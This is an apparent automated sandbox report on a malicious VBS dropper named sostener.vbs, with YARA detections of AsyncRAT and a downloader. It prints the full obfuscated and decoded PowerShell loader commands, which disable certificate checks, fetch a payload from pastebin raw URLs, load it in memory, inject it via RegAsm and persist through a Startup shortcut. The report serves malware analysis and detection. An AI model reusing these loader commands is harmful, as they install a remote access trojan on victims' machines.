Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848E56CD8	4_2_00007FF848E56CD8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848F2144D	4_2_00007FF848F2144D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_014A1008	7_2_014A1008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_014AD75C	7_2_014AD75C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595B7A0	7_2_0595B7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595C070	7_2_0595C070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595B458	7_2_0595B458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595E761	7_2_0595E761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_059573D0	7_2_059573D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_067F2448	7_2_067F2448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_067F1578	7_2_067F1578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_067F5948	7_2_067F5948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_067F6790	7_2_067F6790
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848E86CD8	14_2_00007FF848E86CD8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848F5177A	14_2_00007FF848F5177A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_029A1008	16_2_029A1008

Source: sostener.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2028
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2039
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2028	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2039	Jump to behavior

Source: 4.2.powershell.exe.2877ca20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 4.2.powershell.exe.2877ca20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.287005f0550.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 14.2.powershell.exe.272d6990dc0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.287005ed138.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 14.2.powershell.exe.272d6819978.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 14.2.powershell.exe.272d6819978.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 14.2.powershell.exe.272d698d9a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.28700478df0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 4.2.powershell.exe.28700478df0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 14.2.powershell.exe.272d7b8ec50.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 14.2.powershell.exe.272d7b8ec50.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 4.2.powershell.exe.287017daf68.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 4.2.powershell.exe.287017daf68.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: Process Memory Space: powershell.exe PID: 1020, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6400, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5368, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7096, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, gNcBSL9UPrQHBDmUF.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, gNcBSL9UPrQHBDmUF.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, Hf0jRXweJYx23320j.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, gNcBSL9UPrQHBDmUF.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, gNcBSL9UPrQHBDmUF.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, Hf0jRXweJYx23320j.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, XYfrwW5V593UMwIH2.cs	Base64 encoded string: 'NSiFidP4xfNrihzlXDB35Khxj04PhkVTUKw4OhkxgWgicGZYFhCNgnZSMCYOqxA2Lmt2cBAcgz5NeqEkSvZK', 'jkGR6rJJQ9faSjVbXYtAzRb4ajtLkXKBS1zRcG1mw9LaA2xUqOTikhTtYXc86FK8iinzYXRniNUm6Cd6fXRD'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, gNcBSL9UPrQHBDmUF.cs	Base64 encoded string: 'KXhQCRAD24tV6QfHKI3jylnihUeIKgmm8JxCSu994N88j3QAb4CcU4XupLiDB0DJkq0dWWplLWwpHzJSDmac'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, XYfrwW5V593UMwIH2.cs	Base64 encoded string: 'NSiFidP4xfNrihzlXDB35Khxj04PhkVTUKw4OhkxgWgicGZYFhCNgnZSMCYOqxA2Lmt2cBAcgz5NeqEkSvZK', 'jkGR6rJJQ9faSjVbXYtAzRb4ajtLkXKBS1zRcG1mw9LaA2xUqOTikhTtYXc86FK8iinzYXRniNUm6Cd6fXRD'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, gNcBSL9UPrQHBDmUF.cs	Base64 encoded string: 'KXhQCRAD24tV6QfHKI3jylnihUeIKgmm8JxCSu994N88j3QAb4CcU4XupLiDB0DJkq0dWWplLWwpHzJSDmac'

Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, fVIHnGEA1n2LyrMvHdB5ZJhyHVgWioG.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, fVIHnGEA1n2LyrMvHdB5ZJhyHVgWioG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, fVIHnGEA1n2LyrMvHdB5ZJhyHVgWioG.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, fVIHnGEA1n2LyrMvHdB5ZJhyHVgWioG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@25/21@6/6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___win________________________________________-------.lnk

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\sBk4oyHX2T5F6ww3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_abdusf4f.udj.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: sostener.vbs

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
